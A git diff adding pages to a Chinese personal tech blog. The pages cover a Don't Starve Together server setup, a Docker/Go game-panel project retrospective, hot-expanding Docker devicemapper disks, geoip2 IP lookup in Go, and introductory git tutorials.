+screen -R caves /home/dst/server/bin/dontstarve_dedicated_server_nullrenderer -console -cluster MyDediServer -shard Caves
+

最后运行脚本即可,如下

当两个maser终端和caves终端都输出sim paused时,说明开服成功,进入游戏在搜索你设置的服务器名称

能够搜索到并成功进入服务器,说明服务器搭建完毕。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/dstm.html b/posts/code/dstm.html new file mode 100644 index 0000000..5dbd0dd --- /dev/null +++ b/posts/code/dstm.html @@ -0,0 +1,48 @@ + + + + + + + + Dstm项目完结 | 寒江蓑笠翁 + + + + + + +

Dstm项目完结

寒江蓑笠翁大约 11 分钟技术日志govuedst

Dstm项目完结


Dstm全名Don’t Starve Together Manager,中文名饥荒联机版控制面板,基于docker实现,这个项目所有的内容由我独自一人完成,前前后后总共花费了接近三个月的时间,虽然钱有点少,但是收获还是蛮多的,于是写了这一篇文章记录一下。

历程

这个项目只是我在在校个人接的一个项目,所以没有严格的什么招标投标的流程。甲方是一个体量不算大的云服务商(注册资金100万左右),以前在他们那边买过云服务器,他们主营业务是《我的世界》面板服务器和VPS,本人也算是他们的一个老客户了。4月初的时候来找我谈这个项目,想要拓展饥荒这款游戏的业务,最初提出的是想要做一款类似翼龙的面板,由于老板本身不了解技术,需求提的很模糊(让我明白沟通的重要性),并且我对于这款游戏也是没有任何游玩经验,4月份大部分时间都是在熟悉游戏相关的内容以及模组拓展部分,并且花了两个星期写了一个前端的demo展示给甲方看,这之后才正式谈妥。4月末5月初算是真正明确了项目的方向,最开始前端挑选了一个相当优秀的开源脚手架(Vben),内置了丰富的功能和组件,让我节省了大量的时间和精力,让我能够专注于后端代码的编写,后端项目是完全从零开始的,没有用其他的脚手架,所以花费的时间会更多一些,难度自然也就更大。

对于前端而言,虽然我主要学习方向是后端,以前多多少少学过前端的内容,虽然界面做出来算不上多美观,但是至少界面简洁,功能正常。以前在编写mc插件的时候用的最多的就是js,有着脚手架的加持和开源的UI组件库,对我而言整个前端开发的过程并没有遇到太大的阻挠。

后端是这个项目难度最大的点,面板需要管理一群docker虚拟容器,此前对于docker还仅停留在使用的程度,这是我从未接触过的领域,并且还要熟悉饥荒这款游戏的内容,模组,脚本等等,饥荒的游戏脚本大部分都是由lua编写的(还好以前了解过)。面对一堆的陌生的内容,在初期可以说是花费了大量的时间去查资料和学习(不得不感慨中文互联网信息实在太匮乏了),docker这部分有docker官方提供的Docker Engine API,饥荒这部分的资料来源是克雷官方的fortum论坛和百度贴吧论坛(贴吧老哥是真的强),以及一些饥荒有关的开源项目(感谢开源)。

到了写这篇文章的时候,项目功能已经全部完成,总计125个接口,只剩下最后的一点测试。一路过来也是挺不容易的,在推进项目的过程中还要兼容学校的课程,期末了还要考试,不过到最后还是在暑假初期结束这个项目。

技术栈

项目本身是前后端分离的,前端主要采用的vue3框架,后端采用go作为开发语言。

结构

前端

  • 框架:Vue3
  • 构建工具:Vite
  • 开发语言:TypeScript
  • 脚手架:Vben-amdin Github 开源地址open in new window
  • Ajax:Axios
  • 状态管理:pinia
  • 路由:Vue-Router-Next
  • UI组件库:Ant-Design-Vue

后端

  • 开发语言:Go 1.20.2
  • Http框架:Gin
  • 数据库:Mysql,Redis
  • ORM:GORM
  • 认证:JWT
  • 配置管理:viper
  • 权限管理:casbin
  • 日志框架:zap
  • 定时任务:robfig/cron

数据库

mysql主要是用于存放一些结构化的信息,例如api权限表,用户信息,实例信息,策略信息以及端口映射等等,这个项目的表结构并不复杂,就七张表,

因为大部分信息都是直接从dockerapi中读取的,系统本身并不需要存放什么过多的数据。

redis主要用于存放一些非结构化的信息,系统分发的token和密钥,用于主动过期处理,另外还会存放每一个实例的模组下载信息,以及系统设置。redis数据格式相对mysql而言较为松散,没有那么严格的结构,项目均是采用json格式存放的redis数据。

测试服的界面
测试服的界面

主要难点

下面这些难点是困扰我比较久的,虽然每一个点描述的比较少,但实际上为了解决它们,我花费了相当多的时间去试错和测试。

实例资源限制

容器即实例,资源限制这一块是docker利用docker提供的支持,在最开始了解时,发现有两种方法,一种是使用devicemapper驱动的LVM,另一种是使用overlay2驱动的xfs文件系统的quota功能。项目选择了devicemapper,因为了解的早一些,不过docker官方在后续版本声明devicemapper驱动可能会停止维护了。

创意工坊模组

模组是这个游戏相当重要的一块功能,这部分主要是借助steamcmd和SteamWebApi来解决的,一部分模组会直接提供url以供下载,另一部分则需要使用steamcmd来进行下载。

模组信息解析

饥荒的模组都是由lua脚本编写的,项目采用了一个开源的由go编写的lua虚拟机,通过lua虚拟机来解析模组信息,将lua信息解析成go对象。

世界设置解析

这一部分应该算得上是最繁杂的了,最初想的是一个个手动维护配置项,但是多大两百个的配置项让人望而却步。后来需要去读取游戏文件的中的tex文件,将其转换成图片格式的文件,然后再读取游戏脚本以获取文本翻译和世界配置的每一个配置项。

服务端管理

一个饥荒服务器有两个服务端,地面服务端与洞穴服务端,使用screen进行管理,通过将预先编写好的管理脚本打包到镜像中,后续的管理就变得相当方便。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/expand.html b/posts/code/expand.html new file mode 100644 index 0000000..36b1590 --- /dev/null +++ b/posts/code/expand.html @@ -0,0 +1,81 @@ + + + + + + + + Docker容器磁盘热扩容 | 寒江蓑笠翁 + + + + + + +

Docker容器磁盘热扩容

寒江蓑笠翁大约 4 分钟技术日志linuxdockerdevicemapper

Docker容器磁盘热扩容

本文主要讲解Docker容器磁盘热扩容,不需要重启docker服务,也不需要重启容器


最近项目里的需求需要实现Docker容器的热扩容,前一阵子给Docker驱动换到了devicemapper,对容器的资源限制可以更加精确和友好,刚好记录一下整个过程。

环境准备

系统:ubuntu22.04LTS

Docker:24.00

Go版本:1.20.4

提示

在开始之前你需要确保Docker驱动是devicemapper,并且宿主机和Docker的文件系统是ext4

查看容器大小

这里拿一个nginx容器做实验,先进入容器查看一下大小,一般在创建容器时若不指定默认大小为10G。

root@wyh-virtual-machine:/nginx/html# docker exec -it nginx /bin/bash
+root@6b5a87478fce:/# df -HT
+Filesystem                                                                                      Type   Size  Used Avail Use% Mounted on
+/dev/mapper/docker-8:3-2097855-40ca4227a94fe9cd1dc00963961cc16c8fc0bd6d650e72cfc0c10bc34a9c08f6 ext4    11G  156M  9.8G   2% /
+tmpfs                                                                                           tmpfs   68M     0   68M   0% /dev
+shm                                                                                             tmpfs   68M     0   68M   0% /dev/shm
+/dev/sda3                                                                                       ext4    63G   15G   46G  25% /etc/hosts
+tmpfs                                                                                           tmpfs  8.4G     0  8.4G   0% /proc/asound
+tmpfs                                                                                           tmpfs  8.4G     0  8.4G   0% /proc/acpi
+tmpfs                                                                                           tmpfs  8.4G     0  8.4G   0% /proc/scsi
+tmpfs 
+

可以看到rootfs的size是11G,并且文件系统类型是ext4,这里需要将/dev/mapper/docker-8:3-2097855-40ca4227a94fe9cd1dc00963961cc16c8fc0bd6d650e72cfc0c10bc34a9c08f6记下来,后续操作会用到。

准备扩容

这时回到宿主机,查看之前复制的文件系统名占用的磁盘扇区数

root@wyh-virtual-machine:/nginx/html# dmsetup table /dev/mapper/docker-8:3-2097855-40ca4227a94fe9cd1dc00963961cc16c8fc0bd6d650e72cfc0c10bc34a9c08f6
+0 20971520 thin 253:2 23
+

可以看到扇区数是从0到20971520,假设要扩容到20G,需要的扇区数就是20*1024*1024*1024/512=41943040,然后再修改表

root@wyh-virtual-machine:/nginx/html# echo 0 41943040 thin 253:2 23 | dmsetup load /dev/mapper/docker-8:3-2097855-40ca4227a94fe9cd1dc00963961cc16c8fc0bd6d650e72cfc0c10bc34a9c08f6
+

重载一下

root@wyh-virtual-machine:/nginx/html# dmsetup resume /dev/mapper/docker-8:3-2097855-40ca4227a94fe9cd1dc00963961cc16c8fc0bd6d650e72cfc0c10bc34a9c08f6
+

再次查看扇区数

root@wyh-virtual-machine:/nginx/html# dmsetup table /dev/mapper/docker-8:3-2097855-40ca4227a94fe9cd1dc00963961cc16c8fc0bd6d650e72cfc0c10bc34a9c08f6
+0 41943040 thin 253:2 23
+

可以看到扇区已经变成了41943040,最后需要调整文件系统的大小

root@wyh-virtual-machine:/nginx/html# resize2fs /dev/mapper/docker-8:3-2097855-40ca4227a94fe9cd1dc00963961cc16c8fc0bd6d650e72cfc0c10bc34a9c08f6
+resize2fs 1.46.5 (30-Dec-2021)
+/dev/mapper/docker-8:3-2097855-40ca4227a94fe9cd1dc00963961cc16c8fc0bd6d650e72cfc0c10bc34a9c08f6 上的文件系统已被挂载于 /var/lib/docker/devicemapper/mnt/40ca4227a94fe9cd1dc00963961cc16c8fc0bd6d650e72cfc0c10bc34a9c08f6;需要进行在线调整大小
+old_desc_blocks = 2, new_desc_blocks = 3
+/dev/mapper/docker-8:3-2097855-40ca4227a94fe9cd1dc00963961cc16c8fc0bd6d650e72cfc0c10bc34a9c08f6 上的文件系统大小已经调整为 5242880 个块(每块 4k)。
+

确认大小

再次进入容器查看

root@wyh-virtual-machine:/nginx/html# docker exec -it nginx  /bin/bash
+root@6b5a87478fce:/# df -HT
+Filesystem                                                                                      Type   Size  Used Avail Use% Mounted on
+/dev/mapper/docker-8:3-2097855-40ca4227a94fe9cd1dc00963961cc16c8fc0bd6d650e72cfc0c10bc34a9c08f6 ext4    22G  156M   20G   1% /
+tmpfs                                                                                           tmpfs   68M     0   68M   0% /dev
+shm                                                                                             tmpfs   68M     0   68M   0% /dev/shm
+/dev/sda3                                                                                       ext4    63G   15G   46G  25% /etc/hosts
+tmpfs                                                                                           tmpfs  8.4G     0  8.4G   0% /proc/asound
+tmpfs                                                                                           tmpfs  8.4G     0  8.4G   0% /proc/acpi
+tmpfs                                                                                           tmpfs  8.4G     0  8.4G   0% /proc/scsi
+tmpfs                                                                                           tmpfs  8.4G     0  8.4G   0% /sys/firmware
+

可以看到确实变成了20G。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/geo2ip.html b/posts/code/geo2ip.html new file mode 100644 index 0000000..001179e --- /dev/null +++ b/posts/code/geo2ip.html @@ -0,0 +1,118 @@ + + + + + + + + 使用geo2ip将IP地址转换为地理信息 | 寒江蓑笠翁 + + + + + + +

使用geo2ip将IP地址转换为地理信息

寒江蓑笠翁大约 4 分钟技术日志

使用geo2ip将IP地址转换为地理信息


之前推荐了一个ip地理信息库ip2location,其免费版只能查询国家代码,并且离线数据库不支持全量加载到内存中,由于这些缺点,我找了一个新的替代品geoip2,该离线数据库仍然是由一个商业公司在运营,但是相比前者要良心非常多,免费版支持定位到城市,且支持多语言,同时支持csvmmdb两种格式。

下载

首先需要在网站注册一个账号,然后才能下载免费版

官网:Industry leading IP Geolocation and Online Fraud Prevention | MaxMindopen in new window

下载地址:Download GeoIP Databases | MaxMindopen in new window

然后安装他们提供的go SDK库

$ go get github.com/oschwald/geoip2-golang@latest
+

使用

使用起来有两种,一种是从文件读

db, err := geoip2.Open("GeoLite2-City.mmdb")
+

另一种是把数据库全量加载到内存中,总共也才30MB不到,这样做可以省去文件IO

bytes, err := os.ReadFile("GeoLite2-City.mmdb")
+if err != nil{
+    panic(err)
+}
+db, err = geoip2.FromBytes(bytes)
+

案例

通过IP地址查询地区信息

import (
+	"github.com/cloudwego/hertz/pkg/common/test/assert"
+	"github.com/oschwald/geoip2-golang"
+	"net"
+	"testing"
+)
+
+func TestGeoip2(t *testing.T) {
+	bytes, err := FS.ReadFile("geoip2/GeoLite2-City.mmdb")
+	assert.Nil(t, err)
+
+	db, err := geoip2.FromBytes(bytes)
+	assert.Nil(t, err)
+
+	country, err := db.Country(net.ParseIP("125.227.86.48"))
+	assert.Nil(t, err)
+	t.Log(country.Country.Names)
+	t.Log(country.Country.IsoCode)
+}
+

输出

map[de:Taiwan en:Taiwan es:Taiwán fr:Taïwan ja:台湾 pt-BR:Taiwan ru:Тайвань zh-CN:台湾]
+TW
+

通过IP地址查询城市信息

import (
+	"github.com/cloudwego/hertz/pkg/common/test/assert"
+	"github.com/oschwald/geoip2-golang"
+	"net"
+	"testing"
+)
+
+func TestGeoip2(t *testing.T) {
+	bytes, err := FS.ReadFile("geoip2/GeoLite2-City.mmdb")
+	assert.Nil(t, err)
+
+	db, err := geoip2.FromBytes(bytes)
+	assert.Nil(t, err)
+
+	city, err := db.City(net.ParseIP("125.227.86.48"))
+	assert.Nil(t, err)
+	t.Log(city.Country.IsoCode)
+	t.Log(city.City.Names)
+	t.Log(city.Location.TimeZone)
+}
+

输出

TW
+map[en:Taichung ja:台中市 ru:Тайчжун]
+Asia/Taipei
+

通过上面的两个输出可以看到,它支持多种语言,时区等等信息,除此之外它还支持经纬度定位等其它功能,不过不是很准确。

性能

写一个简单的基准测试

func BenchmarkGeoip2(b *testing.B) {
+    b.ReportAllocs()
+
+    bytes, err := FS.ReadFile("geoip2/GeoLite2-City.mmdb")
+    assert.Nil(b, err)
+
+    db, err := geoip2.FromBytes(bytes)
+    assert.Nil(b, err)
+
+    for i := 0; i < b.N; i++ {
+        db.City(net.ParseIP("125.227.86.48"))
+    }
+}
+
goos: windows
+goarch: amd64
+pkg: github.com/dstgo/tracker/assets
+cpu: 11th Gen Intel(R) Core(TM) i7-11800H @ 2.30GHz
+BenchmarkGeoip2
+BenchmarkGeoip2-16        218502              5259 ns/op            2800 B/op              84 allocs/op
+

平均耗时在5微秒左右

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/git/0.introduction.html b/posts/code/git/0.introduction.html new file mode 100644 index 0000000..05f66d6 --- /dev/null +++ b/posts/code/git/0.introduction.html @@ -0,0 +1,98 @@ + + + + + + + + 简介 | 寒江蓑笠翁 + + + + + + +

简介

寒江蓑笠翁大约 8 分钟GitVCSGit

简介

代码管理对于软件开发而言永远是一个绕不过去的坎。笔者初学编程时对软件的版本没有任何概念,出了问题就改一改,把现在的代码复制保存一份留着以后用,这种方式无疑是是非常混乱的,这也是为什么VCS(Version Control System)会诞生的原因。这类软件的发展史还是蛮长的,笔者曾经短暂的在一个临时参与的项目中使用过SVN,现在应该不太常见了,几乎大部分项目都是在用git进行项目管理。大多数情况下,笔者都只是在拉代码和推代码,其他的命令几乎很少用到,不过这也侧面印证了git的稳定性。写下这些内容是为了对自己git相关知识的进行一个总结,更加熟悉之后,处理一些疑难杂症时会更加得心应手。

开源地址(镜像):git/git: Git Source Code Mirroropen in new window

官方网站:Git (git-scm.com)open in new window

提示

本章内容大量参考GitBookopen in new window,该书有着良好的中文支持,十分建议阅读。

安装

git本身是为linux设计的,不过也有windows版本的。

前往官网下载对应平台的发行版,笔者所使用的是windows版本,下载完成后执行命令查看git是否可用

> git version
+git version 2.42.0.windows.2
+

对于linux而言,可以使用apt来安装

apt install git
+

或者

yum install git
+

更新

更新git的方法相当简单

  1. 第一种是直接下载新的文件覆盖旧文件
  2. 第二种是执行git update-git-for-windows 命令进行更新。
  3. 对于linux而言使用自己对应软件包管理工具的更新方法

帮助

寻求git帮助的方式有很多种

  1. 在官网查阅命令文档
  2. 执行git help verbs获取详细帮助
  3. 执行git verbs -h来获取简短的描述

善用这些方法和渠道,因为很多时候出了问题并不会有人来帮你解决,自己多去看看文档说不定会发现问题所在。

配置

通过git config命令可以查看git配置,比如

$ git config --list
+diff.astextplain.textconv=astextplain
+filter.lfs.clean=git-lfs clean -- %f
+filter.lfs.smudge=git-lfs smudge -- %f
+filter.lfs.process=git-lfs filter-process
+filter.lfs.required=true
+http.sslbackend=openssl
+http.sslcainfo=/etc/ssl/certs/ca-bundle.crt
+core.autocrlf=true
+core.fscache=true
+core.symlinks=false
+pull.rebase=false
+...
+

一般来说,刚安装后,你需要配置你的名称和邮箱,因为这个信息会在你日后对每一个git仓库的每一次提交出现,比如当你和其他人合作开发项目时,突然看到一段很烂的代码,通过这个信息就可以很快的知晓到底是哪个大聪明写的代码。通过--global参数进行全局设置,同样的也可以使用--local来进行局部设置,全局设置会作用到所有的仓库,而局部设置只会覆盖当前的仓库。

$ git config --global user.name "abc"
+$ git config --global user.email "tencent@qq.com"
+

通过添加--show-origin参数可以很清晰的看到每一个配置的来源。

$ git config --list --show-origin
+# 全局设置
+file:D:/WorkSpace/DevTool/Git/etc/gitconfig     diff.astextplain.textconv=astextplain
+file:D:/WorkSpace/DevTool/Git/etc/gitconfig     filter.lfs.clean=git-lfs clean -- %f
+file:D:/WorkSpace/DevTool/Git/etc/gitconfig     filter.lfs.smudge=git-lfs smudge -- %f
+file:D:/WorkSpace/DevTool/Git/etc/gitconfig     filter.lfs.process=git-lfs filter-process
+file:D:/WorkSpace/DevTool/Git/etc/gitconfig     filter.lfs.required=true
+file:D:/WorkSpace/DevTool/Git/etc/gitconfig     http.sslbackend=openssl
+file:D:/WorkSpace/DevTool/Git/etc/gitconfig     http.sslcainfo=D:/WorkSpace/DevTool/Git/mingw64/etc/ssl/certs/ca-bundle.crt
+file:D:/WorkSpace/DevTool/Git/etc/gitconfig     core.autocrlf=true
+file:D:/WorkSpace/DevTool/Git/etc/gitconfig     core.fscache=true
+file:D:/WorkSpace/DevTool/Git/etc/gitconfig     core.symlinks=false
+file:D:/WorkSpace/DevTool/Git/etc/gitconfig     pull.rebase=false
+file:D:/WorkSpace/DevTool/Git/etc/gitconfig     credential.helper=manager
+file:D:/WorkSpace/DevTool/Git/etc/gitconfig     credential.https://dev.azure.com.usehttppath=true
+file:D:/WorkSpace/DevTool/Git/etc/gitconfig     init.defaultbranch=master
+# 来自操作系统的用户设置
+file:C:/Users/Stranger/.gitconfig       credential.http://59.110.221.188.provider=generic
+file:C:/Users/Stranger/.gitconfig       user.name=abc
+file:C:/Users/Stranger/.gitconfig       user.email=tencent@qq.com
+file:C:/Users/Stranger/.gitconfig       credential.https://gitee.com.provider=generic
+file:C:/Users/Stranger/.gitconfig       http.sslverify=false
+file:C:/Users/Stranger/.gitconfig       http.https://github.com.proxy=http://127.0.0.1:7890
+file:C:/Users/Stranger/.gitconfig       https.https://github.com.proxy=http://127.0.0.1:7890
+# 来自仓库中的.git目录
+file:.git/config        core.repositoryformatversion=0
+file:.git/config        core.filemode=false
+file:.git/config        core.bare=false
+file:.git/config        core.logallrefupdates=true
+file:.git/config        core.symlinks=false
+file:.git/config        core.ignorecase=true
+

注意

最后说一句,后续的git学习只会使用命令行工具,因为只有命令行才能体验到git的完整功能。掌握了命令行以后,再去使用其他GUI工具就轻而易举了。在windows平台,如果安装成功了的话,是可以直接在cmd和powershell里面使用git命令的,当然也可以使用git bash,这是git自带的命令工具,你可以在鼠标右键菜单中找到它。

使用git bash的好处是可以兼容一些基础的linux命令。git有着很多的内置命令,没必要去死记硬背,忘了也很正常,我写这些文章的目的就是为了未来有一天忘了的时候可以回顾这些内容,所以放平心态。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/git/1.repo.html b/posts/code/git/1.repo.html new file mode 100644 index 0000000..31a099e --- /dev/null +++ b/posts/code/git/1.repo.html @@ -0,0 +1,717 @@ + + + + + + + + 仓库 | 寒江蓑笠翁 + + + + + + +

仓库

寒江蓑笠翁大约 60 分钟GitVCSGit

仓库

本文将讲解git一些基础操作,所有内容都是围绕着本地仓库进行讲解的,比如提交修改,撤销修改,查看仓库状态,查看历史提交等基本操作,学习完这些操作,基本上就可以上手使用git了。

创建仓库

git的所有操作都是围绕着git仓库进行的,一个仓库就是一个文件夹,它可以包含一个项目代码,也可以包含很多个项目代码,或者其他奇奇怪怪的东西,到底要如何使用取决于你自己。创建仓库首先要创建一个文件夹,执行命令创建一个example文件夹。

$ mkdir example
+

进入该文件夹,执行git初始化命令git init,就可以为当前文件夹创建一个git仓库

$ cd example
+$ git init
+

命令初始化完毕后,当前文件夹下就会多出一个名为.git的文件夹,里面存放着当前仓库所有的信息。

$ ls -a
+./  ../  .git/
+

到此就创建好了一个基本的git仓库。

介绍一些基本的概念,首先要明白的是,在已创建的example目录内,除了.git文件夹,其他的所有文件或文件夹都属于工作区(图中黄色部分),日后所有对文件的修改,新增,删除的操作都是在工作区进行。操作过后,我们必须要手动指定git追踪哪些文件,这样git才能将指定文件纳入版本控制当中,这一步就是追踪文件,将其添加到暂存区(图中蓝色部分),然后就将这些修改提交到仓库(图中的紫色部分)后,才算是真正的由git仓库记录了这一次修改。除此之外,还有一个将本地仓库的修改推送到远程仓库的步骤,不过这是可选的。

暂存修改

当前仓库什么都没有,所以接下来要创建几个文件来进行管理。

$echo "hello git, this is my 1st repo!" > hello.txt
+$ echo "#Hi there" > README.md
+

在上面的命令中,创建了一个hello.txt文本文件,还有一个名为README.md的markdown文件。名为README的文件往往具有特殊意义,它的名字就是read me,即阅读我,该文件通常作为一个项目的介绍文件,里面包含了一个项目的基本信息和作者想要展示给其他人看的介绍信息。通常来说,它并不限制格式,示例中使用的是md格式,只是因为方便书写,它也可以是README.txtREADME.pdfREADME.doc,它可以是任何一切人类可以阅读的文本格式,这只是一种约定俗成的规范,而非强制要求,如果你乐意,也可以不创建README文件。

这时候再执行git status命令查看仓库目前的状态,git会告诉你,这两个文件没有被追踪(untracked),如果你想要管理这两个文件,就需要显式的使用命令来进行追踪。

$ git status
+On branch master
+
+No commits yet
+
+Untracked files:
+  (use "git add <file>..." to include in what will be committed)
+        README.md
+        hello.txt
+
+nothing added to commit but untracked files present (use "git add" to track)
+

提示中也告诉了你应该使用 git add命令来追踪这些文件,如下

$ git add hello.txt README.md
+

追踪文件后,再次执行git status命令,git就会告诉你这两个文件处于暂存状态(staged),即被添加到了暂存区

$ git status
+On branch master
+
+No commits yet
+
+Changes to be committed:
+  (use "git rm --cached <file>..." to unstage)
+        new file:   README.md
+        new file:   hello.txt
+

在git仓库中,只有被追踪的文件才会纳入版本控制。在追踪了两个文件后,接下来修改hello.txt的文件内容

$ echo "tracked two file in repo" >> hello.txt
+

然后再次执行git status命令,查看仓库状态,git会告诉你,发现之前追踪的hello.txt文件已经被修改了,且新的修改没有暂存。

$ git status
+On branch master
+
+No commits yet
+
+Changes to be committed:
+  (use "git rm --cached <file>..." to unstage)
+        new file:   README.md
+        new file:   hello.txt
+
+Changes not staged for commit:
+  (use "git add <file>..." to update what will be committed)
+  (use "git restore <file>..." to discard changes in working directory)
+        modified:   hello.txt
+

此时,暂存区的状态还停留在上一次add操作时,而工作区已经有了新的修改,所以要再次执行git add来更新暂存区。

$ git add hello.txt
+$ git status
+On branch master
+
+No commits yet
+
+Changes to be committed:
+  (use "git rm --cached <file>..." to unstage)
+        new file:   README.md
+        new file:   hello.txt
+

查看修改

在对工作区文件做出修改过后,git status只能知晓文件的状态变化,而无法得知具体的变化细节。使用git diff命令可以解决此问题,不带任何参数执行该命令的话,它会展示工作区文件与暂存区文件的区别。比如先修改hello.txt,再执行git diff,输出如下

$ echo "update something" >> hello.txt
+$ git diff
+diff --git a/hello.txt b/hello.txt
+index ea1ee84..5136d34 100644
+--- a/hello.txt
++++ b/hello.txt
+@@ -4,3 +4,4 @@ track two file in repo
+ 12
+ 123
+ 123
++update something
+

其中ab,分别指工作区和暂存区,@@ -4,3 +4,4 @@指的是变化位置,最后一行带有+号,表示这是新增的。加上--staged参数就会比较暂存区与上一次提交时的变化。接下来先添加到暂存区,然后再查看差异

$ git add hello.txt
+$ git diff --staged
+diff --git a/hello.txt b/hello.txt
+index 5136d34..24fc984 100644
+--- a/hello.txt
++++ b/hello.txt
+@@ -5,3 +5,4 @@ track two file in repo
+ 123
+ 123
++update hello.txt
+

这一次输出的就是最后一次提交的文件和暂存区的文件的差异。

忽略文件

对于一些文件,我们并不希望将其纳入git版本控制当中,也不需要git去追踪它们的变化,比如编译好的二进制文件,程序生成的错误日志等,为此git提供了一个配置文件.gitignore,来告诉git要忽略哪些文件。下面看一个例子,这是文档站仓库的.gitignore文件:

# idea project file
+.idea/
+node_modules/
+src/.vuepress/.cache/
+src/.vuepress/.temp/
+src/.vuepress/dist/
+

其中.idea/是忽略IntellJ IDE自动生成的项目配置文件,node_modules/是忽略掉一系列本地依赖文件,其他的要么就是忽略缓存,要么就算忽略打包文件。可以使用#来进行注释,描述忽略文件的具体信息。

文件 .gitignore 的格式规范如下:

  • 所有空行或者以 # 开头的行都会被 Git 忽略。
  • 可以使用标准的 glob 模式匹配,它会递归地应用在整个工作区中。
  • 匹配模式可以以(/)开头防止递归。
  • 匹配模式可以以(/)结尾指定目录。
  • 要忽略指定模式以外的文件或目录,可以在模式前加上叹号(!)取反。

glob模式指的是简化过后的正则表达式,熟悉正则表达式看这个应该相当容易,下面看一些例子

# 忽略所有的go源文件
+*.go
+
+# 但不忽略main.go文件
+!main.go
+
+# 仅忽略当前目录下的go文件
+/*.go
+
+# 忽略任意目录下的src目录
+src/
+
+# 忽略当前目录下的src目录
+/src/
+
+# 忽略任意src目录下的main.go文件
+src/main.go
+
+# 忽略任意src目录下其子目录下的所有main.go文件
+src/**/main.go
+
+# 忽略当前src目录下及其子目录下所有的main.go文件
+/src/**/main.go
+

基本上每一个语言都会有一套属于自己的.gitignore模板,比如说c++模板

# Prerequisites
+*.d
+
+# Compiled Object files
+*.slo
+*.lo
+*.o
+*.obj
+
+# Precompiled Headers
+*.gch
+*.pch
+
+# Compiled Dynamic libraries
+*.so
+*.dylib
+*.dll
+
+# Fortran module files
+*.mod
+*.smod
+
+# Compiled Static libraries
+*.lai
+*.la
+*.a
+*.lib
+
+# Executables
+*.exe
+*.out
+*.app
+

Github有专门收集这类模板的仓库,前往github/gitignore: A collection of useful .gitignore templatesopen in new window了解更多。

提交修改

在将所有修改到添加到暂存区过后,就可以将暂存的文件提交到当前分支,使用git commit命令进行提交操作

$ git commit -m "initial commit"
+

git要求你在进行提交时,必须附带提交信息,使用-m参数来指定提交信息,如果参数为空字符串的话会中断操作,倘若不携带-m参数,会自动进入vim界面要求你必须输入提交信息,否则就无法提交到当前分支。提交成功后,git输出如下信息

[master b4c2d7f] initial commit
+ 2 insertion(+)
+

其中master,就是提交到的分支,b3c2d7f是git为本次提交生成的40位sha1校验和的一部分。

每当完成了一个阶段的小目标后,将变动的文件提交到仓库,git就会记录下这一次更新。只要提交到仓库里,日后就可以通过各种手段恢复,不用担心数据丢失的可能。

跳过暂存

git提供了一个可以跳过暂存的方式,即在git commit命令后加上-a参数就可以将所有修改过的文件暂存并提交到当前分支。比如先修改了hello.txt文件

$ echo "123" >> hello.txt
+

然后再创建一个新文件bye.txt

$ echo "bye" > bye.txt
+

此时执行git status,查看仓库状态

$ git status
+On branch master
+Changes not staged for commit:
+  (use "git add <file>..." to update what will be committed)
+  (use "git restore <file>..." to discard changes in working directory)
+        modified:   hello.txt
+
+Untracked files:
+  (use "git add <file>..." to include in what will be committed)
+        bye.txt
+
+no changes added to commit (use "git add" and/or "git commit -a")
+

使用git commit -a跳过暂存

$ git commit -a -m "skip stage"
+

再次执行git status会发现,bye.txt并没有被提交,也没有被暂存,所以跳过暂存的前提是文件首先需要被追踪,这样git才能感知到它的变化。

$ git status
+On branch master
+Untracked files:
+  (use "git add <file>..." to include in what will be committed)
+        bye.txt
+
+nothing added to commit but untracked files present (use "git add" to track)
+

历史提交

在进行一段时间的工作后,你可能会想看看以前干了些什么,可以使用git log命令查看当前仓库的提交历史。

$ git log
+commit 7514cce18c477694193e61849162ad8750f873cb (HEAD -> master)
+Author: 246859 <2633565580@qq.com>
+Date:   Sun Sep 3 15:11:19 2023 +0800
+
+    update hello.txt
+
+commit e538986402fb6b787a1a5778439d8bd01f316be0
+Author: 246859 <2633565580@qq.com>
+Date:   Sat Sep 2 20:51:00 2023 +0800
+
+    skip stage
+
+commit b4c2d7faf91cc2286813e7635bdad025166e08ed
+Author: 246859 <2633565580@qq.com>
+Date:   Sat Sep 2 20:35:14 2023 +0800
+
+    3rd commit
+
+commit 5ca7961d8757700652e66dec94faf9938192eccf
+Author: 246859 <2633565580@qq.com>
+Date:   Sat Sep 2 16:54:09 2023 +0800
+
+    hello
+
+commit eff484ad548c2fb78a821793898dbafa0ef8ddc9
+Author: 246859 <2633565580@qq.com>
+Date:   Sat Sep 2 16:45:37 2023 +0800
+
+    initial commit
+

通过输出,我们可以很轻易的得知每一个提交的日期时间,作者,提交描述信息,以及sha1校验和。通过添加-p参数可以得知每一次提交的修改

$ git log -p
+commit 7514cce18c477694193e61849162ad8750f873cb (HEAD -> master)
+Author: 246859 <2633565580@qq.com>
+Date:   Sun Sep 3 15:11:19 2023 +0800
+
+    update hello.txt
+
+diff --git a/hello.txt b/hello.txt
+index ea1ee84..5136d34 100644
+--- a/hello.txt
++++ b/hello.txt
+@@ -4,3 +4,4 @@ track two file in repo
+ 12
+ 123
+ 123
++update something
+
+commit e538986402fb6b787a1a5778439d8bd01f316be0
+Author: 246859 <2633565580@qq.com>
+Date:   Sat Sep 2 20:51:00 2023 +0800
+
+    skip stage
+
+diff --git a/hello.txt b/hello.txt
+index 5b1f3e2..ea1ee84 100644
+--- a/hello.txt
++++ b/hello.txt
+@@ -3,3 +3,4 @@ track two file in repo
+ 123
+ 12
+ 123
++123
+
+...
+...
+...
+

当历史过多时可以指定显示多少条,来获得更好的查看效果

$ git log -p -1
+commit 7514cce18c477694193e61849162ad8750f873cb (HEAD -> master)
+Author: 246859 <2633565580@qq.com>
+Date:   Sun Sep 3 15:11:19 2023 +0800
+
+    update hello.txt
+
+diff --git a/hello.txt b/hello.txt
+index ea1ee84..5136d34 100644
+--- a/hello.txt
++++ b/hello.txt
+@@ -4,3 +4,4 @@ track two file in repo
+ 12
+ 123
+ 123
++update something
+

或者以图表的形式来展示提交历史,为了更有效果,拿文档站的提交历史作例子,可以看到多了一条线,这其实是其它分支合并的结果。

$ git log --graph -5
+*   commit 0b148b2dc402515a2c572e3464a5ec2fafcb8693 (HEAD -> main, origin/main)
+|\  Merge: d8cc259 4f5d32c
+| | Author: hanjiang <42080442+246859@users.noreply.github.com>
+| | Date:   Sun Sep 3 10:41:51 2023 +0800
+| |
